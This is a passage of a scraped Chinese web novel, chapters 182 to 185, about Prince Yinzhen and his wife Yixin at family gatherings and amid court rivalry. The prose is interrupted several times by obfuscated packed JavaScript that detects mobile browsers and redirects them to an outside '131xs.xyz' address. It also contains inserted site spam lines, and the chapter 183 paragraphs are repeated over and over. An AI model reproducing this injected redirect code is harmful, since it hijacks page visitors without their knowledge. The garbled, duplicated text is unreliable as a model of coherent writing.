胤禛看着她闭着眼半睡半醒,小表情丰富懊 听说看这本书的人都是很幸运的,分享后你的运气会更棒 恼在软榻上坐着看佛经并不出声催促她起床。 仪欣猛地坐起身来大喊晴云她昨夜说好话的时候还答应去书房给王爷伺候笔墨的。 “好了起床乖乖。” 仪欣张开胳膊努努嘴示意胤禛给她更衣。 胤禛无奈笑在梨花架上给她拿了衣裳晴云本来走进来又静悄悄离开。 两个人用过早膳携手往书房走。 仪欣兴奋说:“王爷我今天是你的小丫鬟。” 胤禛垂眸勾唇笑“行啊这么多年还没让小丫鬟伺候过笔墨呢。” 转头淡淡说“苏培盛等佟佳氏来人拜访让来人先等半个时辰。” “王爷怎么知道佟佳氏要来人?又为什么让等半个时辰?” 胤禛见状轻叹一声双眸漆黑:“昨日本王给隆科多和西林觉罗氏送了赏如果他们是聪明人今日便该来拜见。” “王爷你真不错。”仪欣晃了晃胤禛的胳膊。 “嗯有事情要解决派人敲打便是了哪里让你沦落到陪人借酒消愁?” 胤禛语气平缓“传出去倒是本王对你教导无方了。” 仪欣挽着他的胳膊“我本来也想去佟佳府耍耍威风可是植宁跟佟佳玉忱相处还算融洽我怕伤了和气。” 见到植宁成亲她才知道后宅诸般无奈无事不可出府没有管家权力晨起请安偶尔侍膳昨夜还柔情蜜意的夫婿雨露均沾到侧室房中绵延子嗣。 纵使仍旧锦衣玉食还是有说不出的哽咽。 胤禛道:“无妨本王心意他们莫敢不从不会伤什么和气。” 寒冬腊月正院到书房的路上要穿过一片梅林 到了书房仪欣站在暖炉前烤火。 苏培盛极有眼力见为福晋备好小零嘴煮一盏福晋爱喝的六安瓜片茶恭恭敬敬退出去守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仪欣明媚走到花厅,与植宁对视挑眉,又看向两位佟佳夫人,朗声笑着说:“两位舅母,本福晋可来晚了?” 第182章 若是年氏和雍亲王勾结成奸 “妾身给四福晋请安。”西林觉罗氏和赫舍里氏淡笑温婉起身道。 植宁跟在西林觉罗氏身后,款款行礼。 仪欣抱着小豆子自上首落座,乜了西林觉罗氏一眼,说出的话却很客气: “这段时日,植宁和我东奔西跑忙着酥阁的事情,多谢佟佳府海涵了。” 西林觉罗氏一震,扯了扯唇尴尬笑道:“妾身真是将植宁当做亲女儿一般疼爱。” “是,本福晋均有耳闻。” …… 仪欣口不出恶言,看似装傻充愣,实则处处敲打,眼遮半瞳淡淡看着花厅中的来人,笑着说: “岳兴阿和玉忱都是不错的孩子,本福晋和王爷甚是欣慰,佟佳府后继有人。”仪欣慢条斯理摸着小豆子的脑袋,抬眼道:“佟佳二夫人,佟佳玉忱的青云路,系于谁一身,你可不要看不清。” 胤禛站在门外,负手而立听着她说话,清楚仪欣压得住她们,便转身离开。 “是。” 西林觉罗氏目光热切,又夸佟佳玉忱读书用功,提及和植宁琴瑟和鸣; 连木讷不言语的赫舍里氏听到岳兴阿,也温温柔柔附和着。 植宁简直刷新对仪欣的认识。 她极少看到锋芒毕露的仪欣,她印象中仪欣总是温软,或者有些小小的刁蛮,今日却举手投足有一种令人顺从恭敬的高位感。 西林觉罗氏的视线落到仪欣怀中猫儿身上,笑着说: “妾身听闻宫中舒妃娘娘爱猫,波斯进贡了一只极品的狸奴,大抵是养在舒妃娘娘宫里,想来跟福晋养的这只品相不相上下。” 仪欣抿唇笑,讳莫如深看了西林觉罗氏一眼,道:“波斯进贡的狸奴,就是本福晋怀里这只,多亏舒妃娘娘割爱了。” 小豆子配合地喵了两声,昂起高贵的脑袋,蓝汪汪的眼睛看着有个人热切打量它的目光。 仪欣低头笑着挠了挠小豆子的下巴。 舒妃娘娘是宠妃不假,在皇阿玛心里,可是后宫哪个妃子,都比不上王爷重要,王爷想要的东西,自会水到渠成得到。 希望西林觉罗氏能明白。 稍稍坐一会,仪欣微微露出些疲倦感,西林觉罗氏主动请辞。 仪欣的目光落在赫舍里氏苦涩的脸上, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一顿缓缓落下去。 她没有送佛送到西的念头赫舍里氏终究是自己过日子立不起来她再帮扶也是多此一举。 晴云笑着说:“奴婢送佟佳二夫人佟佳三夫人。植宁格格福晋请您留步。” 送走赫舍里氏和西林觉罗氏。 植宁返回花厅看到仪欣握着团扇逗弄小猫儿。 见她回来了仪欣蹙眉嗔怪道:“你刚刚朝我挤眉弄眼干什么?” 植宁坐到仪欣身侧“我有事跟你说昨日春意楼你走后我留心等着三福晋和莫雅琪离开两人挽手笑谈好不快活。” 仪欣一拍大腿植宁不说她都忘了。 植宁说:“按理说弘皙阿哥刚离开风口浪尖莫雅琪身为他的侧福晋不该跟三福晋过多牵涉才对。” 仪欣翻个白眼“谁知道她整日寻思什么东西呢?” 她跟莫雅琪矛盾是陈芝麻烂谷子的事情从前莫雅琪跟她处处比较两面三刀说她坏话又妄想挑唆她跟她亲哥哥的关系。 反正她做不出来这种事也想不明白莫雅琪怎么想的。 植宁低声道“我只怕她和三福晋对你不利。” 仪欣弯唇得意捋了捋流苏“放心她敢打歪心思我只会更歪。” 植宁轻轻笑揶揄打趣道:“四福晋威风。” … 又是一年除夕宫宴。 安排座位的人很有眼色。 三爷为长四爷为尊斟酌过后或许是请示康熙胤禛和仪欣顺理成章坐到曾经太子和太子妃的位置上。 诚亲王和三福晋稍稍靠后。 两人面色如常还是挂着亲近随和的笑意心里恨得紧也不曾表露半分。 缓缓对视一眼。 康熙端坐高堂每每今日便会看胤禛格外不顺眼。 又要去富察府过年不知要去几个年头才会腻味。 胤禛温润弯唇笑对上康熙的视线如玉的指腹捏着杯盏敬康熙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469493|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪欣见状赶忙一同举杯示意笑容甜腻憨态可掬孝敬皇阿玛就是要在细枝末节处关怀一点点小事都要让皇阿玛觉得温暖! 康熙稍稍熨帖 仪欣又催 听说看这本书的人都是很幸运的,分享后你的运气会更棒 促胤禛多敬康熙几杯,胤禛自然无有不应。 最后,仪欣以茶代酒,胤禛妇唱夫随,把康熙灌个薄醉。 喝醉了好啊,喝醉了不想儿子去别人家过年的糟心事。 天微微暗下来,到了出宫的时辰,华灯初上,明月当空。 胤禛和仪欣并肩往宫外溜达着,商量着要回府把小豆子一起抱着去富察府。 身后,老三含笑的声音传来。 “四弟,四弟妹,除夕佳节,天色尚早,何不去我府上同饮一杯,咱们一起过个年?” 胤禛牵着仪欣回头,老三和三福晋就站在两步远处。 胤禛淡淡道:“改日,改日请三哥三嫂过府宴饮。” 老三挑眉,抬手做了个“请”的动作,“那便一同出宫吧。” “三哥请。” 说着请,胤禛还是牵着仪欣自然而然走在前面,没什么客气谦让的心思。 仪欣对三福晋观感一般,没什么特别的亲近,不咸不淡没打算叙话聊天。 一路上很是沉默。 待到上了马车,三福晋冷下脸来,抱怨道:“爷,妾身确定弘皙侧室年氏对雍亲王情根深种,明明商量着由您试探雍亲王,为何您迟迟不语?” 老三挪开些距离,“老四是能三言两语试探的人吗?” 老四太敏锐,他暂且不能随意试探,否则反噬自身,得不偿失。 他思量的更多,若是有确凿证据,老四与年氏有私情,那年氏入毓庆宫,以及年羹尧和太子沆瀣一气,怕是老四的精心算计。 这样一来,皇阿玛知道老四从中挑拨太子之事,怕是要厌弃他。 故而此事要从长计议,即使没有私情,也要无中生有。 三福晋想起乌拉那拉氏跟她说的话,便是按耐不住,若是年氏和雍亲王勾结成奸,雍亲王府不败也要褪层皮。 第183章 豆爷的幸福生活 仪欣和胤禛从王府接着小豆子一起回富察府过除夕。 马齐和马武在后门处等待两人,见王府马车到了,乐呵呵等着仪欣下马车。 仪欣先被胤禛搀扶着下去,紧接着胤禛抱着小豆子冲马齐和马武打声招呼。 小豆子欢快冲人喵喵叫,心安理得躺在胤禛怀里。 “阿玛,叔父,这是我的狸奴。”仪欣笑盈盈介绍。 马齐脾气极好,还乐颠颠跟小豆子握了握手,“这是小豆子吧。” 小豆子:“喵喵喵~” 马武挠挠头,严肃轻咳两声,跟在胤禛身后,对仪欣道:“听说你要带狸奴回家过年,你阿玛这几日就带着我和你四叔给小豆子搭窝,晚些去看看,喜不喜欢。” 仪欣回眸欢呼雀跃,又担忧蹙眉,“四叔身子不太好,怎么也跟着忙活了?” 马齐笑着打岔:“年下沐休又没事做,权当锻炼身子。” 小豆子养的肥呼呼的,喜气洋洋,到了富察府可受欢迎,傅清他们这些小孩子抢着要抱,马武的福晋还给小豆子缝了个厚实的软垫。 宴会厅内。 仪欣握着软垫给胤禛展示,“我在学堂读书时,用的软垫都是三婶母做的。” 胤禛随之浅笑看向马武身边的妇人,道:“针脚细腻,绣工极佳,三婶母有心了。” “三婶母”一叫,乌拉那拉氏受宠若惊,缓缓屈膝还礼。 除夕晚宴正式开始。 从前仪欣是坐小孩那桌,成亲后,胤禛坐主桌,她自然而然跟着钮祜禄氏坐主桌。 只是小孩桌上惯有她爱吃的玫瑰酥糖和糖耳朵,加上小豆子穿梭在每个小孩怀里,她觉得新鲜,用过晚膳后便陪着他们一起玩小豆子。 “姐姐,它好可爱。” 小豆子到富察府可以说是人见人爱,胤禛只带了苏培盛一人伺候,仪欣唯独带了晴云,小豆子足足带了两名小厮,派头可足了。 用过晚宴,便是茶点和叙话守岁的时辰,年纪太小的拿着压岁钱,由乳母带回去睡觉,拜过年后,年长的也回去早些睡了。 仪欣还是很精神,没骨头似的赖在钮祜禄氏肩头温声说话,似乎是在讨教学堂的事情,钮祜禄氏这么多年操持富察氏的学堂,最是有经验。 这时 候没有男女不同席的规矩,气氛和乐,庭院内的宫灯映在绿瓦红墙上,胤禛永远坐在最上首,只不过今年抱着小豆子,有一搭没一搭听着他们聊天。 “傅裕可及冠了吗?”胤禛看向马武,随口问。 富察傅裕是富察马武的嫡子,即富察保祝,从武,在富察氏新一代子弟里,也算是天资聪颖。 傅裕起身回话,恭敬说自己三个月后及冠。 马武笑着点头。 “坐。”胤禛淡淡抬了抬手腕,状似思索,“怡郡王的丰台大营缺个副手,或者,你来本王的正蓝旗下历练两年吧。” 傅裕惊喜看向马武,见马武无奈点头,赶忙应是,“微臣愿为十三爷副将。” 他迫不及待想去军营历练,只是,富察氏有家训,嫡长子守家,嫡次子报国,哪一房都是这般规矩。 故而,他作为三房嫡长子,纵使习武有天赋,阿玛或许安排他做个御前侍卫,只是,他不想这样。 曾经万岁爷和马齐伯父在朝堂上大打出手,万岁爷直接呵斥指责富察氏没有死在战场上的武将,反而是靠出卖旗主起家,可是他想说,他们富察氏的子弟向来不畏死,从来没离开过疆场。 从前如此,之后亦然。 “王爷抬举这小子了。”马武笑叹道。 胤禛笑笑,沉稳又温和道:“一家人。” 他又随口闲谈,“年羹尧去后,川陕总督的位置空缺,傅笙在边疆也许多年了吧。” 马齐轻啧一声,示意胤禛以权谋私低调些,一个六七岁大的小男孩凑近胤禛,笑眯眯问:“姑丈刚刚在说我阿玛吗?” 胤禛垂眸看着小男孩,素闻傅笙跟仪欣长得最相似,他的儿子眉眼间都能看到仪欣的影子,他微微低头,把小豆子递给苏培盛,亲自将小男孩抱到膝头: “对,在聊你阿玛,晚些时候,姑丈将你阿玛调到川陕任职,送你去找他,好不好?” “好!我好想阿玛,也想额娘。” 小男孩眼里有光,他自出生便没见过阿玛,从前是额娘给他看阿玛的画像,告诉他阿玛的名讳,后来额娘去边关和阿玛团聚,说他还太小,几千里路风沙遍布,没办法带他一起去,他就自己在京城等阿玛和额娘回来。 胤禛耐心摸了摸他的脑袋,缓和语气,温声道:“好孩子,去玩吧。” 在座众人均是心中酸涩,傅笙的唯一的儿子,长到七岁,还没见过阿玛,真是亏欠孩子良多。 马齐轻声说:“便调回来吧。” 到了午夜子时,女眷便没有什么人在守岁了,胤禛陪着马齐马武在说话,傅文傅辙等一众小辈陪着。 仪欣觉得有些困倦,抱着小豆子,慢慢走过来轻轻扯了扯他的衣袖。 胤禛主动将大脸盘子猫接过来,跟马齐等人示意,马齐摆了摆手让他们去歇着。 钮祜禄氏给仪欣裹紧大氅,温柔说明日她起床便能吃到酥奶糕,然后爱怜摸了摸仪欣的脸,“真好,又长大一岁。” 仪欣赖叽叽往钮祜禄氏怀里扎,哼唧着抱她的腰,好话一连串地说:“我又长大一岁,额娘却是越来越年轻漂亮,一看就是最有福气的额娘。” “额娘有我的小九,就最有福气。”钮祜禄氏总担忧仪欣的大氅不够严实,检查了一下她的暖手炉很热乎,温声笑着叮嘱说,“快些回嫖姚院吧,路上走慢些,莫踩到残雪。” 胤禛不催促她黏糊着跟她的额娘说话,就站在檐下跟小豆子大眼瞪小眼。 这猫几个月养的越来越胖,他抱着感觉没比仪欣轻多少,实在是不像话。 更不像话的还在后面。 回到嫖姚院,胤禛看到马齐马武和**保给小豆子搭的猫窝,简直是花里胡哨,约莫有一张床榻那么大,有门有窗,精巧可人,里面铺的是仪欣最喜欢的粉色和浅蓝色的绸缎,旁边安稳摆着小豆子的锅碗瓢盆,里面堆满了能撑死它的粮食。 他们太爱仪欣了,溢出来的喜爱分一点给她养的猫,就能变出这座不伦不类的小房子。 在座众人均是心中酸涩,傅笙的唯一的儿子,长到七岁,还没见过阿玛,真是亏欠孩子良多。 马齐轻声说:“便调回来吧。” 到了午夜子时,女眷便没有什么人在守岁了,胤禛陪着马齐马武在说话,傅文傅辙等一众小辈陪着。 仪欣觉得有些困倦,抱着小豆子,慢慢走过来轻轻扯了扯他的衣袖。 胤禛主动将大脸盘子猫接过来,跟马齐等人示意,马齐摆了摆手让他们去歇着。 钮祜禄氏给仪欣裹紧大氅,温柔说明日她起床便能吃到酥奶糕,然后爱怜摸了摸仪欣的脸,“真好,又长大一岁。” 仪欣赖叽叽往钮祜禄氏怀里扎,哼唧着抱她的腰,好话一连串地说:“我又长大一岁,额娘却是越来越年轻漂亮,一看就是最有福气的额娘。” “额娘有我的小九,就最有福气。”钮祜禄氏总担忧仪欣的大氅不够严实,检查了一下她的暖手炉很热乎,温声笑着叮嘱说,“快些回嫖姚院吧,路上走慢些,莫踩到残雪。” 胤禛不催促她黏糊着跟她的额娘说话,就站在檐下跟小豆子大眼瞪小眼。 这猫几个月养的越来越胖,他抱着感觉没比仪欣轻多少,实在是不像话。 更不像话的还在后面。 回到嫖姚院,胤禛看到马齐马武和**保给小豆子搭的猫窝,简直是花里胡哨,约莫有一张床榻那么大,有门有窗,精巧可人,里面铺的是仪欣最喜欢的粉色和浅蓝色的绸缎,旁边安稳摆着小豆子的锅碗瓢盆,里面堆满了能撑死它的粮食。 他们太爱仪欣了,溢出来的喜爱分一点给她养的猫,就能变出这座不伦不类的小房子。 在座众人均是心中酸涩,傅笙的唯一的儿子,长到七岁,还没见过阿玛,真是亏欠孩子良多。 马齐轻声说:“便调回来吧。” 到了午夜子时,女眷便没有什么人在守岁了,胤禛陪着马齐马武在说话,傅文傅辙等一众小辈陪着。 仪欣觉得有些困倦,抱着小豆子,慢慢走过来轻轻扯了扯他的衣袖。 胤禛主动将大脸盘子猫接过来,跟马齐等人示意,马齐摆了摆手让他们去歇着。 钮祜禄氏给仪欣裹紧大氅,温柔说明日她起床便能吃到酥奶糕,然后爱怜摸了摸仪欣的脸,“真好,又长大一岁。” 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回到嫖姚院,胤禛看到马齐马武和**保给小豆子搭的猫窝,简直是花里胡哨,约莫有一张床榻那么大,有门有窗,精巧可人,里面铺的是仪欣最喜欢的粉色和浅蓝色的绸缎,旁边安稳摆着小豆子的锅碗瓢盆,里面堆满了能撑死它的粮食。 他们太爱仪欣了,溢出来的喜爱分一点给她养的猫,就能变出这座不伦不类的小房子。 在座众人均是心中酸涩,傅笙的唯一的儿子,长到七岁,还没见过阿玛,真是亏欠孩子良多。 马齐轻声说:“便调回来吧。” 到了午夜子时,女眷便没有什么人在守岁了,胤禛陪着马齐马武在说话,傅文傅辙等一众小辈陪着。 仪欣觉得有些困倦,抱着小豆子,慢慢走过来轻轻扯了扯他的衣袖。 胤禛主动将大脸盘子猫接过来,跟马齐等人示意,马齐摆了摆手让他们去歇着。 钮祜禄氏给仪欣裹紧大氅,温柔说明日她起床便能吃到酥奶糕,然后爱怜摸了摸仪欣的脸,“真好,又长大一岁。” 仪欣赖叽叽往钮祜禄氏怀里扎,哼唧着抱她的腰,好话一连串地说:“我又长大一岁,额娘却是越来越年轻漂亮,一看就是最有福气的额娘。” “额娘有我的小九,就最有福气。”钮祜禄氏总担忧仪欣的大氅不够严实,检查了一下她的暖手炉很热乎,温声笑着叮嘱说,“快些回嫖姚院吧,路上走慢些,莫踩到残雪。” 胤禛不催促她黏糊着跟她的额娘说话,就站在檐下跟小豆子大眼瞪小眼。 这猫几个月养的越来越胖,他抱着感觉没比仪欣轻多少,实在是不像话。 更不像话的还在后面。 回到嫖姚院,胤禛看到马齐马武和**保给小豆子搭的猫窝,简直是花里胡哨,约莫有一张床榻那么大,有门有窗,精巧可人,里面铺的是仪欣最喜欢的粉色和浅蓝色的绸缎,旁边安稳摆着小豆子的锅碗瓢盆,里面堆满了能撑死它的粮食。 他们太爱仪欣了,溢出来的喜爱分一点给她养的猫,就能变出这座不伦不类的小房子。 在座众人均是心中酸涩,傅笙的唯一的儿子,长到七岁,还没见过阿玛,真是亏欠孩子良多。 马齐轻声说:“便调回来吧。” 到了午夜子时,女眷便没有什么人在守岁了,胤禛陪着马齐马武在说话,傅文傅辙等一众小辈陪着。 仪欣觉得有些困倦,抱着小豆子,慢慢走过来轻轻扯了扯他的衣袖。 胤禛主动将大脸盘子猫接过来,跟马齐等人示意,马齐摆了摆手让他们去歇着。 钮祜禄氏给仪欣裹紧大氅,温柔说明日她起床便能吃到酥奶糕,然后爱怜摸了摸仪欣的脸,“真好,又长大一岁。” 仪欣赖叽叽往钮祜禄氏怀里扎,哼唧着抱她的腰,好话一连串地说:“我又长大一岁,额娘却是越来越年轻漂亮,一看就是最有福气的额娘。” “额娘有我的小九,就最有福气。”钮祜禄氏总担忧仪欣的大氅不够严实,检查了一下她的暖手炉很热乎,温声笑着叮嘱说,“快些回嫖姚院吧,路上走慢些,莫踩到残雪。” 胤禛不催促她黏糊着跟她的额娘说话,就站在檐下跟小豆子大眼瞪小眼。 这猫几个月养的越来越胖,他抱着感觉没比仪欣轻多少,实在是不像话。 更不像话的还在后面。 回到嫖姚院,胤禛看到马齐马武和**保给小豆子搭的猫窝,简直是花里胡哨,约莫有一张床榻那么大,有门有窗,精巧可人,里面铺的是仪欣最喜欢的粉色和浅蓝色的绸缎,旁边安稳摆着小豆子的锅碗瓢盆,里面堆满了能撑死它的粮食。 他们太爱仪欣了,溢出来的喜爱分一点给她养的猫,就能变出这座不伦不类的小房子。 第184章 谋臣催生 胤禛扔下小豆子小豆子麻利钻到窝里娇憨活泼冲着两人喵喵叫。 仪欣将小垫子塞到小豆子屁股下面感叹说:“王爷这睡起来很舒服的样子我都羡慕小豆子了。” 胤禛搂着她的肩膀弯了弯眼睛“本王给你也搭一个?” 仪欣期待:“王爷会陪我一起睡吗?” 胤禛哂笑无情拒绝:“那不能。” 仪欣困得厉害还未沐浴就上眼皮下眼皮打架歪在胤禛身上均匀喘着气胤禛捏了捏她的手腕用温热的绢帕擦净她脸上的脂粉露出白皙细腻的脸蛋胤禛情不自禁亲一下她的唇角勾了勾她的手指。 “王爷 “嗯抱抱乖乖。” 不论是调任傅笙还是在丰台大营提拔傅裕对胤禛来说都是容易的事情。 老十四在西北算是彻底站稳了脚跟但是仪欣的二哥任职川陕总督无论老十四掌握多少兵马都要受傅笙的掣肘。 年后仪欣一直都很忙碌。 组织上三旗福晋去甘露寺祈福打理城南施善之事同时不忘孝敬康熙利用康熙的喜爱与赏赐借花献佛给上三旗福晋提身份。 山西的善堂和曲阜的学堂做得有声有色。 同时城南百姓尤其是女子有一份可靠的收入纵使微薄日子还是好过许多女子的家庭地位也提高许多。 朝堂上下民间乡野任谁都要夸一句四福晋仁善贤德。 仪欣喜欢听人夸奖乐此不疲做事。 若是有拿不准的事情就去请教钮祜禄氏再不济便问胤禛。 元宵节过后胤禛便异常忙碌仪欣好似也觉醒了勤奋血脉。 故而两人时常在前院书房待到戌时再一同提着小橘灯回正院安寝。 春暖花开。 胤禛这阵子心情极差。 他上奏整顿吏治和赋税被康熙尽数驳回只不痛不痒惩治了两个贪官。 其实这几年因为国库空虚胤禛纵是跟老**九博弈想的也是充盈国库加之后面带兵惩治**给国库进项将近两千万两白银。 康熙安于现状胤禛却不愿。 可是这朝 你的朋友正在书荒,快去帮帮他吧 堂终究不是胤禛执政谋臣和胤祥三番五次劝他退让。 胤禛清楚康熙的想法康熙一生所求不过史书上一个“仁”字可整顿吏治和惩治贪官都是需要血流漂橹的他做了五十几年的皇帝称得上是卓越帝王故而不愿在今时大开杀戒污了仁君的美名。 康熙总是对胤禛说他还太年轻。 什么时候年轻也是贬义词了呢? 暮色四合桃花幽香阵阵仪欣提着小橘灯往前院走晴云提着一个食盒小步跟着仪欣。 小良子见仪欣到了赶忙引着仪欣往偏殿先歇着殿内传来瓷器碎地的声音胤禛淡淡警告声传来:“什么时候本王的书房也由人摔摔打打了。” “奴才知错。” 谋臣:您没成亲的时候。 从前王爷没成亲他们时常议事到半夜三更别说摔摔打打拍桌子动手都是常有的事情。 如今福晋常来议事到很晚却是少有的事情了。 只是王爷有原则最是不喜做事拖沓今日事今日毕如今万岁爷交代给王爷的事情又格外多些这些时日连带他们也忙碌因而也少不了争执。 太子二废王爷便是当仁不让的一人之下万人之上。 王爷有能力手腕整顿朝廷弊病可万岁爷处处阻拦。 若是他们说这吏治问题重重固然重要可王爷忧国忧民当务之急还是皇位为重若王爷执掌朝堂登基为帝王爷的意志便是天下的万民的意志。 “王爷奴才冒昧只是这子嗣之事”邬思道微笑着问。 这问题可算问到众人心坎上了。 王爷能生如今便是不错的时机若是一拖再拖如今万岁爷宠妃舒妃之子十七爷年初已然成家立业在朝堂上略显锋芒 万岁爷不缺儿子可是缺个完美的继承人。 众谋臣频频附和子嗣之事。 胤禛淡淡抬眼缓缓转了转佛珠“子嗣之事是本王和福晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480048|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人的事情本王自有分寸朝政一应事宜本王再思量思量都回吧。” 仪欣隔着明纸窗棱抿唇垂眼小良子欲言又止不知该如何打断又不知该如何提醒。 “请各位先生们喝茶。”仪欣扬了扬下巴吩咐小良 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子,提醒他给谋臣一人一个素荷包。 陆陆续续有人出来,仪欣站在檐下淡淡点头。 “福晋安好。” 胤禛的谋士都很敬重仪欣,一来是王爷爱重福晋,二来,福晋仁德贤名在外,他们只有佩服敬重的份。 “过来了怎么不出声,冷不冷?” 胤禛高大挺拔的身影出现在仪欣身后,仪欣光顾着点头跟胤禛下属打招呼,微微回眸,胤禛的手搭在她后颈处亲昵捏了捏。 谋臣见状低头快步离开。 “不冷,我见你们在议事,便没有打扰。”仪欣牵着胤禛温热的手掌,拉着他往书房内走去。 晴云悄声将仪欣带来的膳食摆在矮案上,缓缓退出去。 胤禛会跟仪欣讲朝堂上形形**的事情,却不会将坏情绪带到她面前来,见她给他带了宵夜,坐在软榻上握着玉箸便开始吃。 仪欣脑袋里全是之前做梦梦见的两个肉丸子,还有刚刚偶然听到的话。 几个月前,差不多是刚过除夕,她和王爷在富察府住着,听到四婶母教育琅嬅,刚成亲如何柔情蜜意都是短暂的事情,男人总是会喜欢更新鲜的女人,子嗣和地位才是激情褪去后,最实打实的东西。 当然,四婶母未尽之言她也明白,不过是在内涵她无子嗣,教育琅嬅,纵使她风光也是枉然。 要不是大过年的,她就扇她! “你又琢磨什么呢?”胤禛握着玉箸给她塞一个小肉丸。 仪欣恶狠狠道:“王爷,我问你,是不是刚成亲的甜蜜都是枉然的?是不是男人总会喜欢更新鲜的女人?是不是没有子嗣就是不行?你说,你赶紧解释!” 第185章 胤礼 “啊?胤禛一顿,啪嗒一下撂下玉箸,温热干燥的手掌搭在她的脑门上,是不是一时没看住,又发烧了? “哎呀!王爷你这是干什么? “本王看看你怎么说胡话。 他慢慢复盘,昨夜讲话本子了,前日陪她擦拭泥陶罐罐,前几日每天都在乾清宫给她带新鲜玩意,天渐暖这一个月,春意楼也跑了两趟了。 最近确实有些忙碌,可他在压缩议事时间,不曾过分逾矩。 不应该吧。 “我不知道。仪欣别扭瞅他一眼,“反正我心里不痛快。 胤禛轻笑,弹她个脑瓜崩,“没想明白为什么闹脾气,就开始先声夺人了? 仪欣理直气壮点头,又催促道:“王爷赶紧回答我刚刚的问题。 胤禛低头用膳,又塞给她一个小肉丸,压了压唇角还是笑出声来:“问的什么着三不着两的问题,不想回答。 “哎呀,王爷!胤禛!仪欣焦急。 胤禛放下玉箸,捏了捏她还在嚼小肉丸的腮帮子,挑眉笑道:“第一,我们不是刚成亲一年半载,我对小仪欣态度可有改变吗? “第二,新鲜女人本王早就过了图新鲜找乐子的年纪,能清醒控制自己的感情和喜怒,敢对小乖许诺,自然便有能力践行承诺。 他几乎把所有朝政之外的时间都给了她,却从不曾觉得腻味,他很清楚,长久的关系,并非一直有爱的静态结果,反而是不断流通着去爱上她,一遍又一遍。 “第三,子嗣。胤禛一顿,轻轻吐一口气,“其实,之前,就你之前身子极差时,我在夜里抱着你,我真的想象不到,要多可爱的小孩子,才能比我怀里这一只更珍贵,才值得我的仪欣鬼门关走一遭。 其实,年后,宋太医隐晦提醒他,福晋的身体可以孕育子嗣了。 是他不愿意冒险。 仪欣憨憨一笑,胤禛不是长篇大论的人,可是他总是愿意一句一句回应她的问题,哪怕,他们彼此都知道,有些问题就是她临时起意的。 她软乎乎勾了勾他的手指,嬉皮笑脸说,“怪不得我三哥说,年纪大的会疼人。 又是傅辙。 胤禛气血上涌,这个混 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 不吝的,整日说些乱七八糟的话来气人,偏偏碰一下就娇气坏了,不知要怎么讹人。 “嗯,会疼人,福晋喜欢本王怎么疼你?”胤禛顶了顶上颌,危险抬眼,“本王什么都会。” “不不用了。” 她最近吃的很饱,会撑到的。 仪欣嘿嘿笑,讨饶捏着玉箸给胤禛布膳,托着腮想转移话题,想不到什么深沉的大道理,羞涩咬着下唇,甜腻腻歪了歪脑袋,坐到他那侧去,靠在他宽阔的背上。 胤禛含笑睨她一眼。 半刻钟后,仪欣心中警铃大作,完了完了完了,王爷又剩饭了。 次日清晨。 天还蒙蒙亮,胤禛穿戴朝服准备上朝,仪欣趴在床榻上盯着他。 胤禛忍俊不禁,凑近摸了摸她粉白的小脸,“听话,再睡会,下朝后陪你去春意楼用午膳,好不好?” “不好,我今日跟植宁去照春芳听曲,就不回来了,王爷热热昨晚剩饭吃了吧。” 仪欣滚一圈,钻到床榻深处,偷偷揉了揉自己的腰,可恶!可恶啊!睚眦必报的王爷和柔弱不能自理的她! 胤禛笑,将手钻到她被窝里摸摸她的小肚,叮嘱一句:“快来癸水了,不许乱吃东西。” * 仪欣跟植宁约得时辰很晚,主要是仪欣每日要睡回笼觉,日上三竿再起床,梳妆打扮,到春意楼是已经是午膳时分了。 春意楼前熙熙攘攘,仪欣由晴云扶着下马车,抬眼便看到春意楼东侧停住的马车,霎那间跟马车上款款下来的人对上了视线。 “表四嫂。”女子抿唇笑,唇角边有两个小小的梨涡,身量不高,微微偏头,抚髻眼睛亮晶晶看着仪欣。 仪欣勾唇迎上去,慢悠悠打趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480049|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤一句:“是十七弟妹,十七弟。” 钮祜禄思瑾羞怯低头,看向身后丰神俊朗的男人,拉了拉仪欣的手腕,小声叫了句表姐。 “四嫂。”胤礼温和笑着颔首,主动牵上思瑾的手,看着仪欣,“好巧,四哥来吗?不妨一起用膳吧。” 